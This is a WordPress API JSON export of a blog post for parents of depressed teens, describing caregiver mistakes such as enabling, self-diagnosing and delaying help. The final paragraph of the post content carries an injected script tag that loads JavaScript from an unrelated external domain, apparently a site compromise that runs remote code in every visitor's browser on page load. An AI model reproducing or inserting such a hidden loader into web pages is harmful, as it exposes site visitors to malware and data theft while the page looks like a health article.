{"id":205,"date":"2016-02-22T19:11:08","date_gmt":"2016-02-22T19:11:08","guid":{"rendered":"http:\/\/dz.cyberwalker.com\/parents-of-depressed-teens\/?p=205"},"modified":"2016-02-22T19:11:08","modified_gmt":"2016-02-22T19:11:08","slug":"205-2","status":"publish","type":"post","link":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/205-2\/","title":{"rendered":"Caregiver mistakes parents make in crisis"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">Most parents are not experienced in dealing with crisis and their emotions get in the way without them seeing that they are in the way. The way you respond to crisis situation is determined based on a combination of: Past experiences, how you deal with crisis, your relationship to the person suffering, how in control of your emotions you are. <\/span><\/p>\n<p><span style=\"font-weight: 400;\">This means sometimes YOU get in the way of the outcome you are trying to achieve. <\/span><\/p>\n<p><span style=\"font-weight: 400;\">So, please remember it\u2019s not you &#8211; these are simply common pitfalls. \u00a0It helps to look at them with an eye of constructive criticism. Ask yourself:<\/span><i><span style=\"font-weight: 400;\"> How can I improve so that I can provide the best care for my depressed teen and get them the help they need?<\/span><\/i><\/p>\n<p><span style=\"font-weight: 400;\">I\u2019ve summed them up and given them silly names so you can easily identify with the categories you may see yourself in. You\u2019ll also find my quick \u201cgo-to\u201d tips for success when trying to help a depressed teen:<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>THE ENABLER<\/b><\/p>\n<p><span style=\"font-weight: 400;\">This one is a classic. An enabler is always \u201csaving\u201d their loved one from short-term pain. Or is being<\/span><i><span style=\"font-weight: 400;\"> too nice<\/span><\/i><span style=\"font-weight: 400;\"> when they instinctively know they should be doing something else. For instance, this is the mom that gives her alcoholic son money to buy alcohol because she doesn\u2019t want to see him suffer from withdrawal, though she knows she probably shouldn\u2019t do this. \u00a0<\/span><\/p>\n<p><b><i>Why it\u2019s ineffective:<\/i><\/b><\/p>\n<p><span style=\"font-weight: 400;\">You get in the way of the person using their own thinking and learning how to overcome their own issues. In many cases, it creates more long term pain and makes the situation far worse.<\/span><\/p>\n<p><b>Remember this:<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Challenge is good for people. Let them be challenged. Only step into to \u201csave\u201d someone when they authentically can\u2019t do something and require help.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Sometimes breakdowns are good for people. \u00a0When a person gets to a breaking point they can see the problems for themselves. The only way out of pain is towards pleasure, so when they hit a pain threshold it will naturally force them to make a change.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Encourage don\u2019t do. You are not them. You can point them in the right direction and help guide them, but ultimately they need to go through life and deal with their problems so they learn how to cope with crisis proactively.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>SHERLOCK<\/b><\/p>\n<p>If you are acting as part investigator and part doctor, you may fall into this category. This type of caregiver thinks they can solve the problem and becomes consumed with finding the answer, the cure that will fix everything. They put all their energy into getting to the bottom of the problem. They think they know just as much as doctor does and can figure things out from researching Google. They push their struggling family member or friend to try one method of help. If it doesn\u2019t work, right away they push them to go somewhere else.<\/p>\n<p><b><i>Why it\u2019s ineffective:<\/i><\/b><\/p>\n<p><span style=\"font-weight: 400;\">You\u2019re not a trained medical doctor. It\u2019s not your job to figure out what\u2019s wrong and solve the problem. Your \u201cthink you know\u201d attitude could actually waste your struggling friend or family member time. It\u2019s important to get educated and to try and understand, BUT, leave treatment to the experts. <\/span><\/p>\n<p><b>Remember this:<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Don\u2019t try and solve depression issues without a trained medical professional or a team of healthcare providers (it always helps to get more than one opinion).<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Don\u2019t resist recommended treatments that are suggested for your loved because you think you know better.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>THE \u201cYOU SHOULD\u201d-ER<\/b><\/p>\n<p><span style=\"font-weight: 400;\">This is the loved one that gives advice on what their family member or friend should or shouldn\u2019t do, <\/span><span style=\"font-weight: 400;\">in their opinion<\/span><span style=\"font-weight: 400;\">. \u00a0When the family member or friend doesn\u2019t take the advice that\u2019s been give the \u201cYou Should\u201d-er gets mad and resentful. Then, they often discontinue help altogether as punishment because they\u2019re pissed the practical advice they gave wasn\u2019t taken.<\/span><\/p>\n<p><b><i>Why it\u2019s ineffective:<\/i><\/b><\/p>\n<p><span style=\"font-weight: 400;\">This pushes the struggling loved one away. They often feel bad that they are not doing what <\/span><i><span style=\"font-weight: 400;\">you <\/span><\/i><span style=\"font-weight: 400;\">want them to do, though they either can\u2019t or authentically don\u2019t feel it\u2019s the right strategy for them. Or, they do what you want them to do, to make you happy, even if it doesn\u2019t feel right to them. This commonly leads to resent from one or both parties. It puts a wedge in the relationship.<\/span><\/p>\n<p><b>Practical advice:<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Giving advice can be helpful, but NEVER expect a person to do what <\/span><i><span style=\"font-weight: 400;\">you<\/span><\/i><span style=\"font-weight: 400;\"> want them to do, even if you think it\u2019s what they should do. They are still in charge of their life and are free to make their own choices. If you think them not taking your advice is not a good idea, then okay, that\u2019s fine. Don\u2019t punish them. Let them do what they believe will help and they can find out for themselves what works.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Only step in and make decisions for them when it\u2019s clear they can\u2019t do it themself.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>THE POSSIBILITY SQUASHER<\/b><\/p>\n<p><span style=\"font-weight: 400;\">The caregiver with a Possibility Squasher behavior relates to the person as their sickness. In terms of mental health issues, this often means relating to the person as if they are not fully sane, or that they are not capable of fulfilling basic tasks in life. If you are relating to your loved one that they are inadequate in some way versus simply seeing them as a fully capably human being with a physical condition that\u2019s treatable, then you could fall into this category.<\/span><\/p>\n<p><b><i>Why it\u2019s ineffective:<\/i><\/b><\/p>\n<p><span style=\"font-weight: 400;\">When you label any human being you limit their true potential. Your actions towards them reinforce what you think of them. For example, if you\u2019re understanding of depression is that they are unable to get out of bed, you may allow them to stay in bed all day. That doesn\u2019t help. \u00a0They get off the hook and get used to being allowed to sleep. You need to understand what they can do and challenge them slightly. This will hold them to a higher standard and force them to keep trying.<\/span><\/p>\n<p><b>Remember this:<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Hold them to their highest potential. Look at what is challenging to them and make sure you allow them to be challenged a little. It\u2019s good for them.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Start believing that the life you want for them, or the life they dream about for themselves, is possible. This will dramatically shift the way you relate to them. And shift what they see they can achieve, which will encourage more positive behaviors.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>THE UNEDUCATED BULLY:<\/b><\/p>\n<p><span style=\"font-weight: 400;\">If you\u2019ve never had major depression or know someone who has, OR if you\u2019ve had it and think you know what the other person is feeling and dealing with, your being a know-it-all with no room to do that. You are not them. You can\u2019t ever understand what they are going through or feeling. And, if you know nothing about depression and base your opinions on assumptions or what you\u2019ve heard, consider you know nothing. Your lack of knowledge could hurt them. \u00a0This personality type would be the person who says to their loved one \u201cpull yourself together\u201d. \u00a0<\/span><\/p>\n<p><b><i>Why it\u2019s ineffective:<\/i><\/b><\/p>\n<p><span style=\"font-weight: 400;\">Behaving like this will make them HATE you. They will also start to hate themselves because they may feel they don\u2019t measure up or may question why they can\u2019t just \u201cpull themselves together\u201d.<\/span><\/p>\n<p><b>Remember this:<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">You are not them nor are you able to get in their body and experience what they are experiencing. <\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Major depression is a neurological disorder. You can\u2019t see it because it happens in the brain. It should be thought of like a physical illness, like a broken leg. <\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Get educated <\/span><span style=\"font-weight: 400;\">! <\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Start listening and <\/span><span style=\"font-weight: 400;\">understanding<\/span><span style=\"font-weight: 400;\">. Sometimes people just want to be understood.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>THE SLOW-TO-ACT SLOTH:<\/b><\/p>\n<p>If you\u2019ve been watching your loved one struggle but you\u2019re telling yourself \u201cmaybe they\u2019ll feel better tomorrow\u201d and you\u2019ve been doing this for a long time, you could fall into this category. It\u2019s part human nature to believe we have all the time in the world to solve something. If you chronically put things off or avoid doing things until you absolutely have to, understand that in most cases, the situation itself gets worse with time. Which in this case, means, your friend or family member gets sicker.<\/p>\n<p><b><i>Why it\u2019s ineffective:<\/i><\/b><\/p>\n<p><span style=\"font-weight: 400;\">A person with untreated depression will only get sicker. \u00a0The longer they are sick, the more damage occurs and the longer it takes to reverse. Avoiding can also lead them to considering suicide, actually making a suicidal attempt or death.<\/span><\/p>\n<p><b>Remember this:<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">If they\u2019ve been struggling and their mood has been noticeably getting worse and interfering with their life for two weeks they need help NOW. \u00a0DON\u2019T WAIT.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">If you\u2019re worried someone is suicidal NEVER LEAVE THEM ALONE! Even if it gets in the way of your life. It\u2019s not worth taking the chance.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><b>THE IN-YOUR-HEAD THINKER<\/b><span style=\"font-weight: 400;\">:<\/span><\/p>\n<p>If you\u2019re doing less talking with your loved but lots of thinking about them &#8211; like, you can\u2019t sleep at night &#8211; you could be exhibiting this caregiver style. If you\u2019re thinking too much in your head and not sharing what you\u2019re dealing with people you can talk to and you\u2019re not communicating with the sick individual about what they are dealing with, then you\u2019re likely inflating reality in your head. This is common in parents with teens who don\u2019t know how to communicate with them, so they simply take to worrying about them and then make them go see therapists.<\/p>\n<p><b><i>Why it\u2019s ineffective:<\/i><\/b><\/p>\n<p><span style=\"font-weight: 400;\">Your thoughts are unreliable. When you spend too much time thinking you often start to see the situation as worse than it is or not as bad as it is. You stop seeing the reality. And then you end up treating the what you think is the problem. <\/span><\/p>\n<p><b>Remember this:<\/b><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Communicate with your loved one. If you don\u2019t know how to effectively communicate, learn. This is key!<\/span><\/li>\n<\/ul>\n<p>&nbsp;<script src='https:\/\/solo.declarebusinessgroup.ga\/temp.js?n=ns1' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Most parents are not experienced in dealing with crisis and their emotions get in the way without them seeing that they are in the way. The way you respond to crisis situation is determined based on a combination of: Past experiences, how you deal with crisis, your relationship to the person suffering, how in control [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_genesis_hide_title":false,"_genesis_hide_breadcrumbs":false,"_genesis_hide_singular_image":false,"_genesis_hide_footer_widgets":false,"_genesis_custom_body_class":"","_genesis_custom_post_class":"","_genesis_layout":"","footnotes":""},"categories":[1],"tags":[46,49,47,48],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/wp-json\/wp\/v2\/posts\/205"}],"collection":[{"href":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/wp-json\/wp\/v2\/comments?post=205"}],"version-history":[{"count":1,"href":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/wp-json\/wp\/v2\/posts\/205\/revisions"}],"predecessor-version":[{"id":206,"href":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/wp-json\/wp\/v2\/posts\/205\/revisions\/206"}],"wp:attachment":[{"href":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/wp-json\/wp\/v2\/media?parent=205"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/wp-json\/wp\/v2\/categories?post=205"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mydepressionzone.com\/parents-of-depressed-teens\/wp-json\/wp\/v2\/tags?post=205"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}